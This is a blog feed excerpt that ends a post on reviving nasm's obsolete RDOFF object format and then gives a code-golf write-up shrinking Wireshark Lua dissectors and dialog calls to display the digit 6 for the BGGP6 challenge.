&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">&lt;/span> nasm_free(f);
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> nasm_free(hdr);
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> return NULL;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="executing-rdoff">Executing RDOFF&lt;/h2>
&lt;p>After applying the path, global.rdf runs! It exits 6 as expected!!!&lt;/p>
&lt;p>&lt;img src="https://n0.lol/rdoff-bggp6-working-gdb.png" alt="">&lt;/p>
&lt;p>It even works outside of gdb (the real test)&lt;/p>
&lt;p>&lt;img src="https://n0.lol/rdoff-bggp6-working.png" alt="">&lt;/p>
&lt;p>Hell yeah!!!&lt;/p>
&lt;h2 id="pouring-one-out-for-rdoff">Pouring One Out For RDOFF&lt;/h2>
&lt;p>What began life as an internal test case for nasm&amp;rsquo;s object file generator, ended as a forgotten file format. By the time it was removed from nasm, RDOFF was broken shell of it&amp;rsquo;s former self, it&amp;rsquo;s machinery unceremoniously optimized out.&lt;/p>
&lt;p>The key (only?) benefit of RDOFF was it&amp;rsquo;s simplicity, but even with it&amp;rsquo;s barebones spec, the reference implementation was never fully fleshed out. Many features which were part of the original spec, such as dynamic linking, remained incomplete or undefined through it&amp;rsquo;s entire lifespan. The desire to keep the format flexible for &amp;ldquo;someone&amp;rdquo; to use, left key design decisions up to whoever dared to. RDOFF came out in 1997, 2 years before ELF was standardized as the default binary for Linux. By the time RDOFF2 came out in late 2002, many compilers and assemblers were already targeting ELF, PE, and their associated object files. It feels like RDOFF2 was more of an idea than a file format. A dream, yearning for a simple, flexible format, based on common features of existing formats. The only problem was that there was no one to build it. I can see why the nasm team would finally remove it and refactor all the surrounding library code.&lt;/p>
&lt;p>To be honest, I am glad that they removed something that is no longer supported. Having a random file format that no one knows anything about that can be executed by a loader that most people don&amp;rsquo;t realize ships with nasm seems like the right thing to do. I can appreciate it&amp;rsquo;s quirkiness, it&amp;rsquo;s 90s style C, it&amp;rsquo;s undefined behavior. But for a general use format, I would def stick with object files targeting ELF or PE :) unless u a fweak !!&lt;/p>
&lt;h2 id="whats-next">What&amp;rsquo;s Next?&lt;/h2>
&lt;p>I wanted to put out this writeup to see if anyone would come out of the woodwork in defense of RDOFF. I would love to see any other examples of custom usages, or formats that used RDOFF as a basis or inspiration. I hope this write up serves as a case study on how to preserve endangered file formats as well.&lt;/p>
&lt;p>In Part 2, I am going to go over golfing RDOFF files. As of this writing, the smallest spec conforming RDF I could make (that still returns 6) is 62 bytes!&lt;/p>
&lt;p>SHA256:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">68554fbb087180353ab2ef6b10bf91613dc31206824c11baccea7b0705d3c449
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Given the weirdness of the loader, it feels like it&amp;rsquo;s possible to go even smaller. I will also test other RDOFF loaders and generators mentioned in this writeup.&lt;/p>
&lt;p>RDOFF alt defs&lt;/p>
&lt;ul>
&lt;li>Really Dumb Object File Format (rqu)&lt;/li>
&lt;li>Random Dudes Only File Format 2 (gilda)&lt;/li>
&lt;li>RDOFF Development, Only For Freaks (me)&lt;/li>
&lt;/ul></description></item><item><title>BGGP6 Wireshark Dissector Lua</title><link>https://n0.lol/bggp6-wireshark/</link><pubDate>Sun, 02 Nov 2025 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp6-wireshark/</guid><description>&lt;p>I wanted to create the smallest Lua dissector for Wireshark for &lt;a href="https://binary.golf/6/">BGGP6&lt;/a>! This year&amp;rsquo;s challenge theme is RECYCLE, which opens up all the previous challenges for this year, running until January 18th 2026. Another option is to create the smallest file of a given type that prints, returns, or otherwise displays &amp;ldquo;6&amp;rdquo;, which is what I am doing here.&lt;/p>
&lt;p>I have previously written about using &lt;a href="https://forum.spacehey.com/topic?id=84164">Wireshark as a lolbin&lt;/a> and call &lt;code>os.execute()&lt;/code> to run a program through Lua. &lt;a href="https://vm.tiktok.com/ZTd4wXSAG/">Tiktok PoC Vid&lt;/a>.&lt;/p>
&lt;p>&lt;a href="https://www.wireshark.org/docs/wsdg_html_chunked/lua_module_Proto.html">Lua dissectors&lt;/a> are used to add additional protocol support without having to recompile Wireshark (as with C dissectors).&lt;/p>
&lt;p>To install a new Lua dissector, place them in one of the following locations before opening Wireshark:&lt;/p>
&lt;ul>
&lt;li>Linux: &lt;code>~/.local/lib/wireshark/plugins&lt;/code>&lt;/li>
&lt;li>MacOS: &lt;code>~/.local/lib/wireshark/plugins&lt;/code> or &lt;code>~ /.config/wireshark/plugins&lt;/code>&lt;/li>
&lt;li>Windows: &lt;code>C:\Program Files\Wireshark\plugins\&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Lua Dissectors on the Wireshark Wiki: &lt;a href="https://wiki.wireshark.org/Contrib">https://wiki.wireshark.org/Contrib&lt;/a>&lt;/p>
&lt;p>Some dissectors I&amp;rsquo;ve written: &lt;a href="https://github.com/netspooky/dissectors">https://github.com/netspooky/dissectors&lt;/a>&lt;/p>
&lt;p>The pcap used in this writeup is telnet-cooked.pcap from here: &lt;a href="https://wiki.wireshark.org/samplecaptures#telnet">https://wiki.wireshark.org/samplecaptures#telnet&lt;/a>&lt;/p>
&lt;h2 id="dissectortableget">DissectorTable.get&lt;/h2>
&lt;p>To start, I went with what I know, and used &lt;code>DissectorTable.get&lt;/code> to create a dissector that would run on every packet sent to TCP port 23.&lt;/p>
&lt;p>Here is a simple dissector to do that in 230 bytes (without comments): &lt;code>6-vanilla.lua&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">myProtocol&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Proto&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;bggp6&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;bggp6&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1">-- Create the protocol&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">function&lt;/span> &lt;span class="nc">myProtocol&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">dissector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buffer&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pinfo&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">tree&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1">-- Declare the dissector&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pinfo.cols&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">protocol&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;BGGP6&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">z&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">tree&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">myProtocol&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">buffer&lt;/span>&lt;span class="p">(),&lt;/span>&lt;span class="s2">&amp;#34;BGGP6&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">end&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">local&lt;/span> &lt;span class="n">dtable&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">DissectorTable.get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;tcp.port&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1">-- Get the table of TCP ports&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">dtable&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">23&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">myProtocol&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1">-- Register your dissector on this port, calling :set() overrides other dissectors&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="https://n0.lol/wireshark-b6-vanilla.png" alt="">&lt;/p>
&lt;p>I did some experiments to see how little I could get away with during the basic dissector declaration. I shortened the protocol name to &amp;ldquo;b6&amp;rdquo;. Protocol names must be at least two characters, and they must start with a character from a-z. I also started putting a 6 in as many spots as I could instead of a string.&lt;/p>
&lt;p>139 bytes: &lt;code>6-139.lua&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Proto&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;b6&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">function&lt;/span> &lt;span class="nc">s&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">dissector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">t&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">p.cols&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">protocol&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">z&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">t&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">(),&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">end&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">local&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">DissectorTable.get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;tcp.port&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">23&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Result:
&lt;img src="https://n0.lol/wireshark-b6-139.png" alt="">&lt;/p>
&lt;p>Even though it&amp;rsquo;s already pretty small, I could still shrink it a bit more. I got rid of the statement that adds the packet buffer to dissector tree (highlighted in the above image) and kept it so that it only overwrote the protocol in the packet table in the GUI with &lt;code>6&lt;/code> instead of &amp;ldquo;BGGP6&amp;rdquo;. This was 108 characters.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Proto&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;b6&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">function&lt;/span> &lt;span class="nc">s&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">dissector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">t&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">p.cols&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">protocol&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">6&lt;/span> &lt;span class="kr">end&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DissectorTable.get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;tcp.port&amp;#34;&lt;/span>&lt;span class="p">):&lt;/span>&lt;span class="n">set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">23&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>I removed some more unneeded things like the 3rd argument to the dissector function, and reconfigured it to hijack every IPv4 &lt;code>eth.type&lt;/code> using the &lt;code>ethertype&lt;/code> DissectorTable (see &lt;a href="https://www.wireshark.org/docs/wsdg_html_chunked/lua_module_Proto.html">13.3.2. DissectorTable&lt;/a>). These changes resulted in a packet that was also 108 bytes.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Proto&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;b6&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">function&lt;/span> &lt;span class="nc">s&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">dissector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">p.cols&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">protocol&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">6&lt;/span> &lt;span class="kr">end&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DissectorTable.get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;ethertype&amp;#34;&lt;/span>&lt;span class="p">):&lt;/span>&lt;span class="n">set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x800&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="https://n0.lol/wireshark-b6-ipv4-eth.png" alt="">&lt;/p>
&lt;p>Later on, I realized that you can also overwrite &lt;code>pInfo.cols.info&lt;/code> instead of &lt;code>protocol&lt;/code> to save an additional 4 bytes, bringing this down to 104 bytes. See next section for info!&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Proto&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;b6&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">function&lt;/span> &lt;span class="nc">s&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">dissector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">p.cols&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">6&lt;/span> &lt;span class="kr">end&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DissectorTable.get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;ethertype&amp;#34;&lt;/span>&lt;span class="p">):&lt;/span>&lt;span class="n">set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x800&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="register_heuristic">register_heuristic&lt;/h2>
&lt;p>I wanted to created a dissector that would override every Ethernet frame, and not just those with the IPv4 ethertype.
A way to do this is to create a heuristic dissector using &lt;code>register_heuristic&lt;/code>&lt;/p>
&lt;p>This 112 byte dissector overwrites &lt;code>p.cols.protocol&lt;/code> with 6, and returns 1. Returning 1 or True will tell the dissection engine that you claim the packet, and trigger only your dissector!&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Proto&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;b6&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s.dissector&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kr">function&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">p.cols&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">protocol&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">6&lt;/span> &lt;span class="kr">return&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="kr">end&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">register_heuristic&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;eth&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">s.dissector&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The dissector was still kind of long, so I turned it into a one liner at 86 bytes.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Proto&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;b6&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">):&lt;/span>&lt;span class="n">register_heuristic&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;eth&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kr">function&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">p.cols&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">protocol&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">6&lt;/span> &lt;span class="kr">return&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="kr">end&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>It was here that I discovered you could overwrite &lt;code>p.cols.info&lt;/code> to get down to 82 bytes.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Proto&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;b6&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">):&lt;/span>&lt;span class="n">register_heuristic&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;eth&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="kr">function&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">p.cols&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">6&lt;/span> &lt;span class="kr">return&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="kr">end&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="https://n0.lol/wireshark-b6-info-eth.png" alt="">&lt;/p>
&lt;h2 id="searching-for-smaller-functions-to-call">Searching for smaller functions to call&lt;/h2>
&lt;p>After getting to 82 bytes using &lt;code>register_heuristic&lt;/code>, I started hunting for more global functions and builtins that could produce output. I started by looking for Wireshark builtins in the &lt;a href="https://www.wireshark.org/docs/wsdg_html_chunked/wsluarm_modules.html">docs&lt;/a>, since functions like &lt;code>print(6)&lt;/code> are only available if you have debugging enabled. I wanted this to work on vanilla Wireshark, so I avoided that.&lt;/p>
&lt;p>The first API I saw on the &lt;a href="https://www.wireshark.org/docs/wsdg_html_chunked/lua_module_Gui.html">GUI&lt;/a> function page was &lt;code>ProDlg.new&lt;/code>, which would be 16 bytes, but it requires additional code to support it.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">ProgDlg.new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>I found that &lt;code>new_dialog&lt;/code> created a window, but needed a callback function as the 2nd argument which processes the data that is input into the window. Instead of declaring my own function, I just reused the &lt;code>print&lt;/code> function as the callback.&lt;/p>
&lt;p>21 bytes:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">new_dialog&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">print&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="https://n0.lol/wireshark-b6-new_dialog.png" alt="">&lt;/p>
&lt;p>I was hoping to find an even shorter standard Lua API to register as a callback, so I combed through all the &lt;a href="https://www.lua.org/manual/2.4/node21.html">standard Lua functions&lt;/a>.&lt;/p>
&lt;p>The only usable smaller functions are 4 characters, &lt;code>load,&lt;/code> &lt;code>next&lt;/code> and &lt;code>type&lt;/code>. I used &lt;code>type&lt;/code> since it seemed to be the safest, and got down to 20 bytes.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">new_dialog&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">type&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Because of the argument requirement, I switched my focus to &lt;code>TextWindow.new()&lt;/code> which despite being longer, can take just a single char argument.&lt;/p>
